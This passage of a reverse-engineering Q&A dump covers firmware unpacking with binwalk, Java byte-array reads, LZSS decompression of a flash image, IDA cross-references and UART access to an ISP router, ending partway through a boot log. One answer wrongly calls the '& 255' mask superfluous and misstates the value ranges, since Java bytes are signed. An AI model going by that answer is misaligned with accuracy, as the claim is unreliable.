        "Answer": "<p>Using <code>binwalk v2.1.2b</code>, after unpacking the cpio archive <code>28A000</code>, the squashfs-root file system is available as a directory on my machine. </p>\n\n<pre><code>_Sx220-R1.1.4.1.bin.extracted/_vmlinux_org.bin.extracted/_28A000.extracted $ ls\n5CB1A0.squashfs  CDFB8.squashfs  squashfs-root  squashfs-root-0   &lt;----------------\n</code></pre>\n\n<p>Within this directory were folders named <code>cgi</code> and <code>cgi-bin</code>, which contain several MIPS Linux ELF32 binaries. I assume this is what you are interested in.</p>\n\n<pre><code>_Sx220-R1.1.4.1.bin.extracted/_vmlinux_org.bin.extracted/_28A000.extracted/squashfs-root/home/web $ ls\ncgi  cgi-bin  css  extHelp  help  home.html  html  images  index.html  js  lang  login.html  logo  mime.types  tmp\n</code></pre>\n\n<hr>\n\n<pre><code>_Sx220-R1.1.4.1.bin.extracted/_vmlinux_org.bin.extracted/_28A000.extracted/squashfs-root/home/web $ ls cgi/\nget.cgi  httprestorecfg.cgi  httpuploadbakcfg.cgi  httpuploadlang.cgi  httpuploadruncfg.cgi  login.cgi  set.cgi\n</code></pre>\n\n<hr>\n\n<p>Please check your version of <code>binwalk</code>; if it is older than v2.1.2b you need to uninstall your older version and install the current version. </p>\n\n<p>The current version can be installed by first cloning the <a href=\"https://github.com/ReFirmLabs/binwalk\" rel=\"nofollow noreferrer\"><code>binwalk</code> repository on github</a> and then following the <a href=\"https://github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md\" rel=\"nofollow noreferrer\">installation instructions</a>.</p>\n\n<p>Note that you may also need to install <a href=\"https://github.com/devttys0/sasquatch\" rel=\"nofollow noreferrer\"><code>sasquatch</code></a>.</p>\n"
    },
    {
        "Id": "21971",
        "CreationDate": "2019-08-25T10:06:31.503",
        "Body": "<p>I try to understand what data types are read from a byte array. These methods seem to follow a common pattern:</p>\n\n<pre><code>public class Reader {\n\n    static short readA(byte[] bytes, int i) {\n        int s = ((((short) bytes[i]) &amp; 255) &lt;&lt; 8)\n                | (((short) bytes[i + 1]) &amp; 255);\n        return (short) s;\n    }\n\n    static int readB(byte[] bytes, int i) {\n        return ((bytes[i] &amp; 255) &lt;&lt; 8)\n                | (bytes[i + 1] &amp; 255);\n    }\n\n    static int readC(byte[] bytes, int i) {\n        return ((bytes[i] &amp; 255) &lt;&lt; 24)\n                | ((bytes[i + 1] &amp; 255) &lt;&lt; 16)\n                | ((bytes[i + 2] &amp; 255) &lt;&lt; 8)\n                | (bytes[i + 3] &amp; 255);\n    }\n\n}\n</code></pre>\n\n<p>Does <code>readC</code> read a signed integer? Does <code>readB</code> read a signed short? What does <code>readA</code> read?</p>\n",
        "Title": "What types are read from byte array?",
        "Tags": "|java|",
        "Answer": "<p>Lets Break the algo into pieces before trying to understand </p>\n\n<p>the algo is broken into pieces using <strong>bodmas</strong> (bracket open ,divide ,multiply ,add, subtract )  </p>\n\n<p>and/or <a href=\"https://docs.oracle.com/javase/tutorial/java/nutsandbolts/operators.html\" rel=\"nofollow noreferrer\"><strong>Operator precedence</strong></a> </p>\n\n<p>lets take the uncasted readB first </p>\n\n<pre><code>static int readB(byte[] bytes, int i) {\n    return ((bytes[i] &amp; 255) &lt;&lt; 8)\n            | (bytes[i + 1] &amp; 255);\n}\n</code></pre>\n\n<p>prototype of function says it takes an array of bytes and an integer does some thing and returns an int back </p>\n\n<pre><code>static int readB(byte[] bytes, int i)\n</code></pre>\n\n<p>body of the function (where it does the aforementioned something </p>\n\n<pre><code>return ((bytes[i] &amp; 255) &lt;&lt; 8) | (bytes[i + 1] &amp; 255);\n</code></pre>\n\n<p>there are two bracketed expression one of which has a child  </p>\n\n<pre><code>1. ((bytes[i] &amp; 255) &lt;&lt; 8)    \n          I. (bytes[i] &amp; 255)\n 3. (bytes[i + 1] &amp; 255)  \n</code></pre>\n\n<p>breaking the child expression apart it has three components  a constant 255 and two variables<br>\nwhich are arguments or inputs provided to the function<br>\nthe byte array bytes[] and<br>\nthe integer i<br>\nsince i is an int the array can range from 0 to 2^31 -1  </p>\n\n<p>( think what will happen if you provide a null array or<br>\n an array with just 1 value or \nan array with 2^31-1 values<br>\nor int >= array size<br>\n(<a href=\"https://rextester.com/live/ETUY42530\" rel=\"nofollow noreferrer\">bounds checking</a><br>\nthis link has the following code check the results and see the thrown exception</p>\n\n<pre><code>{  \n    static byte foo[] = {1,2,3,4,5,6,7,8 };\n    static int readB(byte[] bytes, int i)\n    {\n        return ((bytes[i] &amp; 255) &lt;&lt; 8) | (bytes[i + 1] &amp; 255);\n    }\n    public static void main(String args[])\n    {\n        for(int i = 0; i &lt; foo.length ; i++ ) \n        {\n            System.out.printf(\"bounds check %d %d %d\\n\" , i , foo[i] , readB(foo,i));\n        }\n    }\n}\n</code></pre>\n\n<p>result of running the code </p>\n\n<pre><code>Compilation time: 1.05 sec, absolute running time: 0.22 sec,  \ncpu time: 0.15 sec, memory peak: 18 Mb, absolute service time: 1,27 sec\n\nError(s), warning(s):\n\nException in thread \"main\" java.lang.ArrayIndexOutOfBoundsException: 8\n    at Rextester.readB(source.java:12)\n    at Rextester.main(source.java:18)\n\nbounds check 0 1 258\nbounds check 1 2 515\nbounds check 2 3 772\nbounds check 3 4 1029\nbounds check 4 5 1286\nbounds check 5 6 1543\nbounds check 6 7 1800\n</code></pre>\n\n<p>) </p>\n\n<pre><code>bytes[i] &amp; 255\n</code></pre>\n\n<p>this actually is superfluous operation  </p>\n\n<p>the bytes[i] array is already of BYTE type so the values can never exceed 255 and there is no point stripping the rest \nthis would only make sense if the type is > BYTE like <strong>WORD foo[]</strong> which can hold anything from <strong>0x0000 to 0xffff</strong> or <strong>int foo[]</strong> which can hold anything from <strong>0x00000000 to 0xffffffff</strong> so stripping the hibyte and highwords may make sense .</p>\n\n<p>in this specific code we can safely ignore this </p>\n\n<p>so basically  it takes two bytes from the given position  and folds them into a bigger type<br>\nso readA returns a SHORT and readB returns and INT type</p>\n\n<p>ie readA takes two bytes from a give position and folds it into anything between \n0x0000 and 0xffff\nreadB takes two bytes from a given position and folds into anything between \n0x00000000 and 0xffffffff (actually  it is same as  0x00000 and 0xffff if not for size of type calculation or pointer arithmetic's )  </p>\n\n<p>the third readC now should be clear enough for you  ittakes 4 bytes and folds it into anything between 0x00000000 and 0xffffffff (this function utilizes the whole range not unlike the readA() / readB() </p>\n\n<p>see the shifts <strong>24,16,8</strong>  which puts<br>\n<strong>byte[ position 1]</strong> at <strong>0xAA-??????</strong><br>\n<strong>byte[ position 2]</strong> at <strong>0xAA-BB-????</strong><br>\n<strong>byte [position 3]</strong> at <strong>0xAA-BB-CC-??</strong> and<br>\n<strong>byte [position 4]</strong> at <strong>0xAA-BB-CC-DD</strong><br>\nand returns back <strong>0xAABBCCDD</strong> </p>\n"
    },
    {
        "Id": "21974",
        "CreationDate": "2019-08-25T16:55:19.267",
        "Body": "<p>Recently I have come across a few parts in a binary that looked odd to me, and I wanted to ask if this is something common compilers do, and if there is a way to undo it.</p>\n\n<p>(The binary is from a raw flash dump)</p>\n\n<p>A few examples:</p>\n\n<pre><code>In Binary File:\n4C 65 76 FF 65 6C 3D 30 28 4F 46 46 FF 29 2C 31 28 45 52 52 29 FF 2C 32 28 43 4D 44 29 2C FD 33 1C 41 50 52 4F 43 29\nLev\u00ffel=0(OFF\u00ff),1(ERR)\u00ff,2(CMD),\u00fd3.APROC)\n\nWhat it actually should look like:\nLevel=0(OFF),1(ERR),2(CMD),3(....PROC)\n</code></pre>\n\n<pre><code>Bin:\n45 D2 60 67 65 6E 63 79 DA 50 FF 6F 70 20 54 65 73 74 20 33 4F 4E\nE\u00d2`gency\u00daP\u00ffop Test 3ON\n\nActual:\nEmergency Loop Test ON\n</code></pre>\n\n<pre><code>Bin:\n53 FF 65 72 76 69 63 65 20 55 FF 6E 61 76 61 69 6C 61 62 E3 6C 65\nS\u00ffervice U\u00ffnavailab\u00e3le\n\nActual:\nService Unavailable\n</code></pre>\n\n<p>Thanks in advance.</p>\n\n<p>EDIT:</p>\n\n<p><strong>How do you know what it should look like ?</strong></p>\n\n<p>Because when the board is running, it is showing the exact same string in the GUI.</p>\n\n<p><strong>Can you diff your dump and the binary found on disk ?</strong></p>\n\n<p>Since this image is extracted from a flash, I'd say it actually is stored like that on it.</p>\n\n<p><strong>Can you update your question with hex bytes in order to aid investigation ?</strong></p>\n\n<p>Sure.</p>\n\n<p><strong>Are you aware of the compiler used ?</strong></p>\n\n<p>No, I do not know what compiler was used. It has to be something for embedded systems tho, since it was running on an mcu.</p>\n\n<p><strong>Could you provide some environment information ? (OS, arch, compiler...)</strong></p>\n\n<p>Embedded System Board running some sort of RENESAS Processor (exact model unknown)</p>\n\n<p>UPDATE:</p>\n\n<p>Every 8 bytes there is some sort of indicator. In my case mostly FF (\u00ff) which indicates that the next 8 bytes are not encoded/compressed.\nIf the byte is something like FD (\u00fd) which in Binary(MSB) is 10111111, means the 2nd byte is encoded.</p>\n\n<p>Example:</p>\n\n<pre><code>Lev\u00ffel=0(OFF\u00ff),1(ERR)\u00ff,2(CMD),\u00fd3.APROC)\n678 12345678 12345678 12345678 12.345678\n</code></pre>\n\n<p>Meaning (APROC) isn't actually (APROC) but rather something more like (....PROC)</p>\n",
        "Title": "Strings weirdly split in binary",
        "Tags": "|decompilation|encryption|decompress|gcc|",
        "Answer": "<p>Shot in the dark: Maybe this text (or the whole binary image) is compressed. Think something like <a href=\"https://en.wikipedia.org/wiki/Lempel%E2%80%93Ziv%E2%80%93Storer%E2%80%93Szymanski\" rel=\"nofollow noreferrer\">LZSS</a>.</p>\n\n<p>The fact that there is a mystery byte containing eight <code>1</code> bits, followed by eight literal and correct bytes, indicates that maybe the mystery bytes are actually flags that use each bit position to differentiate uncompressed data bytes from pointers to earlier data. Cases where the mystery byte is <em>not</em> <code>FF</code> are followed by text that is more corrupted than the other instances, leading credence to the idea that <code>0</code> bits mean pointer data.</p>\n"
    },
    {
        "Id": "21981",
        "CreationDate": "2019-08-26T14:41:13.863",
        "Body": "<p>I am still working on the binary image <a href=\"https://reverseengineering.stackexchange.com/q/21974/245\">from the last question</a>, and have already found out that my \"corrupted\" data is actually just compressed. But now I have another issue because I don't know what compression type was used.</p>\n\n<p>What I already know:</p>\n\n<p>The data consists out of at least 9 Bytes. The first byte is always a \"flag\" wich describes in it's 8 bits wehter the next 8 Bytes are compressed or not. A Compressed \"Byte\" is stored as two Bytes.</p>\n\n<p>Example:</p>\n\n<pre><code>\u00df\\DB\\c\u00f3A\\c\n\u00df -&gt; DF -&gt; 11111011 (MSB) -&gt; 6th byte encoded\n</code></pre>\n\n<p>This means that \"\u00f3A\" actually stands for \"ache\" but i have not yet found where \"ache\" is actually stored in memory.</p>\n\n<p>The Image in question is available here: <a href=\"https://we.tl/t-tpG9EjpSbr\" rel=\"nofollow noreferrer\">https://we.tl/t-tpG9EjpSbr</a></p>\n",
        "Title": "What compression type has been used here?",
        "Tags": "|decompress|",
        "Answer": "<p><strong>Basics</strong> </p>\n\n<p>I've had look at your image file and, as the answer to your previous question said, the compression is something like LZSS.</p>\n\n<p>Specifically, the compressed data begins with a flag byte. Each bit of this in turn (from bit 0 to bit 7) indicates that the next decompressed byte(s) are generated by -</p>\n\n<ul>\n<li>(when the flag bit is 1) copying a single literal byte from the compressed data stream or</li>\n<li><p>(when the flag bit is 0) copying between 3 and 18 bytes from earlier in the decompressed data stream.  The length and location of these bytes are encoded in 2 bytes in the compressed data stream.</p>\n\n<p>Suppose these 2 bytes are (in hex using dummy characters) <code>0xPQ</code> and <code>0xRS</code></p>\n\n<p>Then</p>\n\n<ul>\n<li>the length of the data to copy is <code>3 + 0xS</code></li>\n<li>the offset of the data to copy is <code>18 + 0xRPQ</code>  (using unsigned integer arithmetic modulo 0x1000)</li>\n<li>the offsets appear to be into a 4k circular buffer of the most recently decompressed data</li>\n</ul></li>\n</ul>\n\n<p><strong>Example</strong></p>\n\n<p>Let's look at decompressing the data at offset 0x0008D38E in the image to storage at address 0x0006E720 (assuming the earlier data has already been decompressed.)</p>\n\n<pre><code>compressed data                                              decompressed data\n\n0008D68E: 7D (flag byte 0b01111101)\n             45                        literal byte          0x0006E720: 45\n             D2 60                     3 bytes from 0x6E4    0x0006E721: 6D 65 72   (i.e. copied from 0x0006E6E4)\n             67 65 6E 63 79            literal bytes         0x0006E724: 67 65 6E 63 79 \n             DA 50                     3 bytes from 0x5EC    0x0006E729: 20 4C 6F  (i.e. copied from 0x0006E5EC)\n\n0008D699: FF (flag byte 0b11111111)\n             6F 70 20 54 65 73 74 20   literal bytes         0x0006E72C: 6F 70 20 54 65 73 74 20\n\n0008D6A2: 33 (flag byte 0b00110011)\n             4F 4E                     literal bytes         0x0006E734: 4F 4E\n             08 7F                     18 bytes from 0x71A   0x0006E736: 0D 0A 00 00 00 00 45 6D 65 72 67 65 6E 63 79 20 4C 6F \n             1A 76                     9 bytes from 0x72C    0x0006E748: 6F 70 20 54 65 73 74 20 4F (i.e. copied from 0x0006E72C)\n             46 46                     literal bytes         0x0006E751: 46 46\n             65 22                     4 bytes from 0x277    0x0006E753: 0D 0A 00 00 00\n             06 35                     8 bytes from 0x318    0x0006E758: 45 30 34 0D 0A 00 00 00 \n</code></pre>\n\n<p>Looking at the decompressed data we see -</p>\n\n<pre><code>0x0006E720: \"Emergency Loop Test ON\\r\\n\"\n0x0006E73C: \"Emergency Loop Test OFF\\r\\n\"\n0x0006E758: \"E04\\r\\n\"\n</code></pre>\n\n<p><strong>File Structure</strong></p>\n\n<p>It appears that the whole file is not compressed but contains a couple of compressed regions beginning at offsets <code>0x00010000</code> and <code>0x00040000</code>.<br>\nEach compressed region appears to begin with a 4 byte/32 bit value containing the length of the compressed data.  These lengths are followed by the compressed data as described above.</p>\n\n<p><strong>Bonus Note</strong></p>\n\n<p>An image search for the name of the device in question along with the 'main board' produces a result with a clearly visible Renesas R8A77240D500BGY.  This is an MCU in the Renesas SH7724 family containing a SH-4A RISC CPU core.</p>\n"
    },
    {
        "Id": "21992",
        "CreationDate": "2019-08-28T15:12:15.980",
        "Body": "<p>When I use the context menu \"List cross references to\", a window opens with a list of all positions found which references the position, and I can double click to a function. But then the window closes, because it is a modal window. Is it possible that it stays open (non-modal) or is there another way to open it again quickly without jumping back and selecting the context menu item again?</p>\n",
        "Title": "IDA Xrefs window keep open?",
        "Tags": "|ida|",
        "Answer": "<p>View - Open Subviews - <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/592.shtml\" rel=\"nofollow noreferrer\">Cross References</a></p>\n"
    },
    {
        "Id": "21993",
        "CreationDate": "2019-08-28T16:23:21.127",
        "Body": "<p>I have an ISP-provided router, Huawei B5318-42. I connected to it through UART and a UART-USB converter, copied the output from boot, and managed to figure out which chip is the onboard flash memory. By putting a jumper connected to onboard VCC on the flash memory, I am able stop boot at certain points w/o it being able to recover or continue, but that hasn't helped me get a shell. There is a point at boot (#Reset_MT7530) where there is a timer and four options (one of which is command prompt!) but I cannot choose anything.</p>\n\n<p>This is what I have so far:</p>\n\n<p>Flash memory data sheet: <a href=\"http://static6.arrow.com/aropdfconversion/ad37e5e560057875befe533ab753d2eb5063011f/125413166402097mx25l25635f203v20256mb20v1.5.pdf\" rel=\"nofollow noreferrer\">http://static6.arrow.com/aropdfconversion/ad37e5e560057875befe533ab753d2eb5063011f/125413166402097mx25l25635f203v20256mb20v1.5.pdf</a></p>\n\n<p>I know it runs <strong>BusyBox</strong> and <strong>vPort</strong> Release +D2Tech+ VPORT_R_1_6_91 based on boot sequence.</p>\n\n<p>It is MIPS architercture.</p>\n\n<p>Raw output after pressing reset on the router:</p>\n\n<pre><code>    press for several seconds\nralink_gpio: sending a SIGUSR2 to process 332\n[Reboot.sh]: start reboot......\nunkown led action\n[CM]:send reboot msg to ODU.\n[CM]:send msg magic:0xaabbccdd, class:0x80, msgtype:0x40.\npress for several seconds\nralink_gpio: sending a SIGUSR2 to process 332\n[CM]:send reboot msg to ODU.\n[CM]:send reboot msg to ODU.\n[Reboot.sh]: start reboot......\nunkown led action\n[CM]:send msg magic:0xaabbccdd, class:0x80, msgtype:0x40.\n1 /sbin/miniupnpd.sh remove &amp;&amp; at^tmode=3\n[CM]:send reboot msg to ODU.\n[CM]:send reboot msg to ODU.\n1 /sbin/miniupnpd.sh remove &amp;&amp; at^tmode=3\n[CM]:send reboot msg to ODU.\nmodem have no response.\nusb 2-1: USB disconnect, device number 2\nusb 2-1: [DBG HUB]Lock device done, device number 2\nusb 2-1: [DBG HUB]mutex_lock hcd-&gt;bandwidth_mutex done, device number 2\nusb 2-1: [DBG MESSAGE]set all interface unregister 2\nusb 2-1: [DBG MESSAGE]remove interface 0\nusb 2-1: [DBG MESSAGE]device delete interface 0\neth_data: unregister 'huawei_ether', usb-xhc_mtk-1, Huawei Ethernet Device\nusb 2-1: [DBG MESSAGE]remove interface 1\nusb 2-1: [DBG MESSAGE]device delete interface 1\neth_voip: unregister 'huawei_ether', usb-xhc_mtk-1, Huawei Ethernet Device\nusb 2-1: [DBG MESSAGE]remove interface 2\nusb 2-1: [DBG MESSAGE]device delete interface 2\neth_tr069: unregister 'huawei_ether', usb-xhc_mtk-1, Huawei Ethernet Device\nusb 2-1: [DBG MESSAGE]remove interface 3\nusb 2-1: [DBG MESSAGE]device delete interface 3\nusbcomm0: unregister 'huawei_ether', usb-xhc_mtk-1, Huawei Ethernet Device\nfxz-hw_stop: called\nusb 2-1: [DBG MESSAGE]remove interface 4\nusb 2-1: [DBG MESSAGE]device delete interface 4\noption1 ttyUSB0: GSM modem (1-port) converter now disconnected from ttyUSB0\noption 2-1:1.4: device disconnected\n\n\nOK\n\n\nusb 2-1: [DBG MESSAGE]remove interface 5\nusb 2-1: [DBG MESSAGE]device delete interface 5\noption1 ttyUSB1: GSM modem (1-port) converter now disconnected from ttyUSB1\noption 2-1:1.5: device disconnected\nusb 2-1: [DBG MESSAGE]remove interface 6\nusb 2-1: [DBG MESSAGE]device delete interface 6\noption1 ttyUSB2: GSM modem (1-port) converter now disconnected from ttyUSB2\noption 2-1:1.6: device disconnected\nusb 2-1: [DBG MESSAGE]remove interface 7\nusb 2-1: [DBG MESSAGE]device delete interface 7\noption1 ttyUSB3: GSM modem (1-port) converter now disconnected from ttyUSB3\noption 2-1:1.7: device disconnected\nusb 2-1: [DBG MESSAGE]remove all interface_ep_devs 2\nusb 2-1: [DBG MESSAGE]set all interface NULL 2\nusb 2-1: [DBG MESSAGE]set device state ADDRESS done 2\nxhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint\nxhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint\nxhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint\nxhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint\nxhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint\nxhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint\nxhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint\nxhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint\nxhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint\nxhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint\nxhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint\nxhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint\nxhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint\nxhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint\nxhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint\nxhc_mtk xhc_mtk: [MTK]Doesn't find ep_sch instance when removing endpoint\nusb 2-1: [DBG HUB]usb_disable_device done, device number 2\nusb 2-1: [DBG HUB]mutex_unlock hcd-&gt;bandwidth_mutex done, device number 2\nusb 2-1: [DBG HUB]usb_remove_ep_devs done, device number 2\nusb 2-1: [DBG HUB]usb_unlock_device done, device number 2\n[ModemReboot]: usb net disconnect.\nVAPP is shuting down\nvapp_sip_manage.c 131: Stopping SIP\n[ 3: 7:54.621340][LCM]:signal 15 exit.\n[CM]:cm process is killed:15\n[CM]:send reboot msg to ODU.\nSHUTDOWN - _VAPP_mgmtEventWriteTask\n[CM]:send reboot msg to ODU.\nSHUTDOWN - sipUaHandlerTask. infc:0\nStopped WatchDog Timer.\nRestarting system.\n\n\n===================================================================\n\n            MT7621   stage1 code Mar 12 2015 14:43:30 (ASIC)\n\n            CPU=500000000 HZ BUS=166666666 HZ\n\n==================================================================\n\nChange MPLL source from XTAL to CR...\n\ndo MEMPLL setting..\n\nMEMPLL Config : 0x11000000\n\n3PLL mode + External loopback\n\n=== XTAL-40Mhz === DDR-1200Mhz ===\n\nPLL2 FB_DL: 0x6, 1/0 = 584/440 19000000\n\nPLL3 FB_DL: 0xf, 1/0 = 577/447 3D000000\n\nPLL4 FB_DL: 0x14, 1/0 = 589/435 51000000\n\ndo DDR setting..[01F40000]\n\nApply DDR3 Setting...(use default AC)\n\n          0    8   16   24   32   40   48   56   64   72   80   88   96  104  112  120\n\n      --------------------------------------------------------------------------------\n\n0000:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n0001:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n0002:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n0003:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n0004:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n0005:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n0006:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n0007:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n0008:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n0009:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n000A:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n000B:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n000C:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n000D:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    1\n\n000E:|    0    0    0    0    0    0    0    0    0    1    1    1    1    1    1    1\n\n000F:|    0    0    0    0    1    1    1    1    1    1    1    1    1    1    0    0\n\n0010:|    1    1    1    1    1    1    1    1    1    0    0    0    0    0    0    0\n\n0011:|    1    1    1    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n0012:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n0013:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n0014:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n0015:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n0016:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n0017:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n0018:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n0019:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n001A:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n001B:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n001C:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n001D:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n001E:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\n001F:|    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0    0\n\nDRAMC_DQSCTL1[0e0]=13000000\n\nDRAMC_DQSGCTL[124]=80000033\n\nrank 0 coarse = 15\n\nrank 0 fine = 72\n\nB:|    0    0    0    0    0    0    0    0    0    0    1    1    1    0    0    0\n\nopt_dle value:11\n\nDRAMC_DDR2CTL[07c]=C287223D\n\nDRAMC_PADCTL4[0e4]=000022B3\n\nDRAMC_DQIDLY1[210]=0C0B070B\n\nDRAMC_DQIDLY2[214]=07090909\n\nDRAMC_DQIDLY3[218]=0D0A0909\n\nDRAMC_DQIDLY4[21c]=0B080C0A\n\nDRAMC_R0DELDLY[018]=0000211F\n\n==================================================================\n\n        RX  DQS perbit delay software calibration \n\n==================================================================\n\n1.0-15 bit dq delay value\n\n==================================================================\n\nbit|     0  1  2  3  4  5  6  7  8  9\n\n--------------------------------------\n\n0 |    11 7 11 11 9 9 9 7 7 7 \n\n10 |    8 9 9 11 7 11 \n\n--------------------------------------\n\n\n\n\n==================================================================\n\n2.dqs window\n\nx=pass dqs delay value (min~max)center \n\ny=0-7bit DQ of every group\n\ninput delay:DQS0 =31 DQS1 = 33\n\n==================================================================\n\nbit DQS0     bit      DQS1\n\n0  (1~62)31  8  (1~62)31\n\n1  (1~62)31  9  (1~62)31\n\n2  (1~62)31  10  (1~62)31\n\n3  (1~59)30  11  (0~58)29\n\n4  (1~62)31  12  (1~63)32\n\n5  (1~62)31  13  (1~64)32\n\n6  (1~62)31  14  (0~65)32\n\n7  (1~62)31  15  (2~64)33\n\n==================================================================\n\n3.dq delay value last\n\n==================================================================\n\nbit|    0  1  2  3  4  5  6  7  8   9\n\n--------------------------------------\n\n0 |    11 7 11 12 9 9 9 7 9 9 \n\n10 |    10 13 10 12 8 11 \n\n==================================================================\n\n==================================================================\n\n     TX  perbyte calibration \n\n==================================================================\n\nDQS loop = 15, cmp_err_1 = ffff0000 \n\ndqs_perbyte_dly.last_dqsdly_pass[0]=15,  finish count=1 \n\ndqs_perbyte_dly.last_dqsdly_pass[1]=15,  finish count=2 \n\nDQ loop=15, cmp_err_1 = ffff0000\n\ndqs_perbyte_dly.last_dqdly_pass[0]=15,  finish count=1 \n\ndqs_perbyte_dly.last_dqdly_pass[1]=15,  finish count=2 \n\nbyte:0, (DQS,DQ)=(8,8)\n\nbyte:1, (DQS,DQ)=(8,8)\n\nDRAMC_DQODLY1[200]=88888888\n\nDRAMC_DQODLY2[204]=88888888\n\n20,data:88\n\n[EMI] DRAMC calibration passed\n\n\n\n\n===================================================================\n\n            MT7621   stage1 code done \n\n            CPU=500000000 HZ BUS=166666666 HZ\n\n===================================================================\n\n\n\nU-Boot 1.1.3 (Oct 20 2016 - 14:48:59)\n\n\nBoard: Ralink APSoC DRAM:  128 MB\n\nrelocate_code Pointer at: 87fb8000\n\n\nConfig XHCI 40M PLL \n\n******************************\n\nSoftware System Reset Occurred\n\n******************************\n\nflash manufacture id: c2, device id 20 19\n\nfind flash: MX25L25635E\n\n*** Warning - bad CRC, using default environment\n\n\n============================================ \n\nRalink UBoot Version: 4.3.0.0\n\n-------------------------------------------- \n\nASIC MT7621A DualCore (MAC to MT7530 Mode)\n\nDRAM_CONF_FROM: Auto-Detection \n\nDRAM_TYPE: DDR3 \n\nDRAM bus: 16 bit\n\nXtal Mode=5 OCP Ratio=1/3\n\nFlash component: SPI Flash\n\nDate:Oct 20 2016  Time:14:48:59\n\n============================================ \n\nicache: sets:256, ways:4, linesz:32 ,total:32768\n\ndcache: sets:256, ways:4, linesz:32 ,total:32768 \n\n\n ##### The CPU freq = 880 MHZ #### \n\n estimate memory size =128 Mbytes\n\n#Reset_MT7530\n\n\nPlease choose the operation: \n\n   1: Load system code to SDRAM via TFTP. \n\n   2: Load system code then write to Flash via TFTP. \n\n   3: Boot system code via Flash (default).\n\n   4: Entr boot command line interface.\n\n   7: Load Boot Loader code then write to Flash via Serial. \n\n   9: Load Boot Loader code then write to Flash via TFTP. \n\n 4  3  2  1  0 \n\n\n\n3: System Boot system code via Flash[1st image].\n\n## Booting image at bc050000 ...\n\nSkip checking image magic number\n\n   Image Name:   \n\n   Image Type:   MIPS Linux Kernel Image (lzma compressed)\n\n   Data Size:    9748152 Bytes =  9.3 MB\n\n   Load Address: 80001000\n\n   Entry Point:  8000d210\n\n   Verifying Checksum ... OK\n\n   Uncompressing Kernel Image ... OK\n\nNo initrd\n\n## Transferring control to Linux (at address 8000d210) ...\n\n## Giving linux memsize in MB, 128\n\n\nStarting kernel ...\n\n\n\n\nLINUX started...\n\n THIS IS ASIC\nLinux version 2.6.36 (root@pesi-xian) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #1 SMP PREEMPT Thu Dec 15 16:55:50 CST 2016\n\n The CPU feqenuce set to 880 MHz\nGCMP present\nCPU revision is: 0001992f (MIPS 1004Kc)\nSoftware DMA cache coherency\nDetermined physical RAM map:\n memory: 08000000 @ 00000000 (usable)\nInitrd not found or empty - disabling initrd\nZone PFN ranges:\n  Normal   0x00000000 -&gt; 0x00008000\nMovable zone start PFN for each node\nearly_node_map[1] active PFN ranges\n    0: 0x00000000 -&gt; 0x00008000\nDetected 3 available secondary CPU(s)\nPERCPU: Embedded 7 pages/cpu @81103000 s7424 r8192 d13056 u65536\npcpu-alloc: s7424 r8192 d13056 u65536 alloc=16*4096\npcpu-alloc: [0] 0 [0] 1 [0] 2 [0] 3 \nBuilt 1 zonelists in Zone order, mobility grouping on.  Total pages: 32512\nKernel command line: console=ttyS1,57600n8 root=/dev/ram0 console=ttyS1,57600 root=/dev/ram0 rootfstype=squashfs,jffs2 isolcpus=1\nPID hash table entries: 512 (order: -1, 2048 bytes)\nDentry cache hash table entries: 16384 (order: 4, 65536 bytes)\nInode-cache hash table entries: 8192 (order: 3, 32768 bytes)\nPrimary instruction cache 32kB, VIPT, , 4-waylinesize 32 bytes.\nPrimary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes\nMIPS secondary cache 256kB, 8-way, linesize 